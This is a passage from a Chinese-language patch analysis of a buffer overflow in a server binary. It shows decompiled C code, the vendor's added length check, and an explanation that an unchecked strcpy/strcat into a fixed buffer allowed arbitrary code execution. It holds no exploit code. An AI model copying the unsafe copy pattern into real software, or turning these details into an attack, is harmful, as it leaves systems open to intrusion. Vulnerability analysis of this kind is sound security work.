        if ( strlen(v10) > 1 )
        {
          strcat((char *)(a1 + 28), v10);
          return 0;
        }
      }
    }
    return 7;
  }
  return 12;
}

可以看到厂商修复漏洞增加的这处if判断。

  if ( strlen(a2) >= 0x400 || strlen(a2) < 3 || strstr(a2, a__) )
    return 7;

这里对a2,也就是数据包长度进行了一次判断,如果大于等于,则会直接返回,那么如果没有这处判断,也就是产生漏洞的根本原因在于后面的函数逻辑。

    if ( v3 )
    {
      if ( strlen(v3) <= 1 || (v5 = strlen(v4), strlen(byte_45AB8C) + v5 < 0x104) )
      {
        strcpy((char *)(a1 + 28), byte_45AB8C);
        if ( strlen(v10) > 1 )
        {
          strcat((char *)(a1 + 28), v10);
          return 0;
        }
      }

这里会调用一处strcpy进行拷贝,从而造成了缓冲区溢出。

总结一下漏洞形成的原因,首先在sub_40ED19函数中,服务器会调用sub_40EDBA处理接收到的数据,当数据成功接收后,会进入sub_40EEBE进行下一步的数据处理,在sub_40EEBE处理数据时,由于对于数据包的长度没有进行严格的判断,从而导致了在后续strcpy调用时发生缓冲区溢出,从而导致任意代码执行。

Comments
Write a Comment